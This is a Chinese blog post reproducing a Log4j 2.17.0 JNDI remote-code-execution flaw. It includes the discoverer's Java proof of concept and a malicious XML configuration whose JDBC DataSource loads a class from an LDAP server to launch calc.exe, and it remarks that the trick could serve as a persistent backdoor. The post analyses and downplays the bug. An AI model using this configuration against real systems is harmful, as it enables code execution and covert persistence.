先说一句,这傻x洞能给cve就离谱,大半夜给人喊起来浪费时间看了一个小时。

先说利用条件:

需要加载“特定”的配置文件信息,或者说实际利用中需要能够修改配置文件(你都能替换配置文件了,还要啥log4j啊)。

然后因为log4j2.17.0已经实际上默认关闭了jndi的使用,还需要对方真的手动打开这个配置才能执行。

实际上约等于本地弹弹计算器的漏洞。

真的能随便改配置文件,我估计大佬们洒洒水,几十个RCE没啥问题。

代码直接用了发现者给的:

原文链接

import java.util.*;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger; public class log4j {
static {
System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/config.xml");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
}
private static final Logger logger = LogManager.getLogger(log4j.class); public static void main(String[] args) {
}
}

需要远程加载配置文件,python启动一个http服务,配置文件内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
<Appenders>
<JDBC name="databaseAppender" tableName="dbo.application_log">
<DataSource jndiName="ldap://127.0.0.1:1389/Basic/Command/calc.exe" />
<!--手动替换的配置文件里,通过jndi获取远程数据源,加载恶意类-->
<Column name="eventDate" isEventTimestamp="true" />
<Column name="level" pattern="%level" />
<Column name="logger" pattern="%logger" />
<Column name="message" pattern="%message" />
<Column name="exception" pattern="%ex{full}" />
</JDBC>
</Appenders>
<Loggers>
<Root level="warn">
<AppenderRef ref="databaseAppender"/>
</Root>
</Loggers>
</Configuration>

成功弹了计算器:

debug过程

org.apache.logging.log4j.core.appender.db.jdbc.FactoryMethodConnectionSource(createConnectionSource)

从这往里F7

最后用Twitter上老外的一句话结尾:



不过有一说一,事后想一想,作为一个持久化的后门还算有点意义。

最新文章

  1. phpmyadmin导入数据库大小限制修改
  2. neo4j-java连接
  3. CentOS 6/7安装ffmpeg
  4. http工作流程
  5. sphinx索引分析——文件格式和字典是double array trie 检索树,索引存储 – 多路归并排序,文档id压缩 – Variable Byte Coding
  6. 聊天IM的时间戳显示规则
  7. jQuery中的遍历
  8. 五大要求让BPM与企业对接
  9. Mina学习之IoBuffer
  10. known good die( KGD) /确认好裸芯片,合格芯片
  11. Alamofire网络库基础教程
  12. Windows 路径问题
  13. php 高并发下数据同步的问题
  14. linux无密码连接
  15. Spring整合MyBaytis
  16. Linux 管理软件
  17. MVC,EF 小小封装
  18. [math] sagemath
  19. .NET并行计算和并发6-获取线程池的最大可用线程数
  20. Codeforces 954 G. Castle Defense

热门文章

  1. HCIA-Datacom 3.4 实验四:实现VLAN间通信实验
  2. Android OOM 问题探究 -- 从入门到放弃
  3. python金牌班第七周周末总结
  4. C语言重定向输入:txt文件内容是中文,重定向输入显示乱码的原因
  5. HDU 5362 Just A String 指数型母函数
  6. 持久化-DLL劫持
  7. Think PHP 完整的带富文本格式以及图片上传,并且在页面上分页展示
  8. class 中的 构造方法、static代码块、私有/公有/静态/实例属性、继承 ( extends、constructor、super()、static、super.prop、#prop、get、set )
  9. go 中解析JSON的三种姿势
  10. Linux下进行Oracle数据库安装